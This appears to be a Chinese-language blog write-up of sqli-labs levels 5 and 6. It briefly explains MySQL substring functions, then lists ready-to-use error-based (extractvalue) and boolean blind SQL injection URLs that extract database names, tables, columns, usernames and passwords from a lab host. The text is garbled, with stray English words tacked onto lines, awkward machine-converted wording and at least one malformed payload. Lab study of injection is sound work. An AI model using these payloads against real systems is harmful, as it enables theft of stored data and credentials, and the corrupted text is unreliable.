1、基於布爾 SQL 盲注mysql
一、構造邏輯判斷sql
(1)sql注入截取字符串經常使用涵數數據庫
在sql注入中,每每會用到截取字符串的問題,例如不回顯的狀況下進行的注入,也稱爲盲注,這種狀況下每每須要一個一個字符的去猜解,過程當中須要用到截取字符串。本文中主要列舉三個函數和該函數注入過程當中的一些用例。函數
函數:mid() substr() left()fetch
mid()函數爲截取字符串一部分。mid(column_name,start,length)orm
column_name 必需,要提取字符的字段blog
start 必需,規定開始位置(起始爲1)ci
length 可選,要返回的字符數,若是省略則返回剩餘文本字符串
eg:str="123456" mid(str,2,1) 結果爲2string
substr()
Substr()和substring()函數實現的功能是同樣的,均爲截取字符串。
string substring(string, start, length)
string substr(string, start, length)
參數描述同mid()函數,第一個參數爲要處理的字符串,start爲開始位置,length爲截取的長度
left()函數
Left()獲得字符串左部指定個數的字符
Left ( string, n ) string爲要截取的字符串,n爲長度。
•基於時間的 SQL 盲注--延時注入
•基於報錯的 SQL 盲注-構造 payload 讓信息經過錯誤提示回顯出來
第五關
報錯注入:
爆數據庫:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+
爆表名:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+
爆列名:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
爆數據:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+
爆密碼時密碼不全,要用截取函數截取剩下的密碼
and extractvalue(1,concat(0x23,substr((select password from users limit 0,1),32,1),0x23))
布爾注入:
判斷數據庫長度:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length(database())>0--+
http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length(database())=8--+ 數據庫有八位
依次肯定數據庫名稱組成:
http://10.10.32.165/sqli-labs-master/Less-5?id=1' and ascii(substr(database(),1,1)=83)--+ s
判斷數據表的個數:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0--+
判斷表的長度:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0--+
依次肯定代表:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>79--+
肯定列數:and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0--+
肯定烈的長度:and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1)) > 0--+
依次肯定列名:and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)) > 79
依次肯定數據:and ascii(substr((select username from users limit 0,1),1,1))>79
第六關:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
將第五關的單引號改成雙引號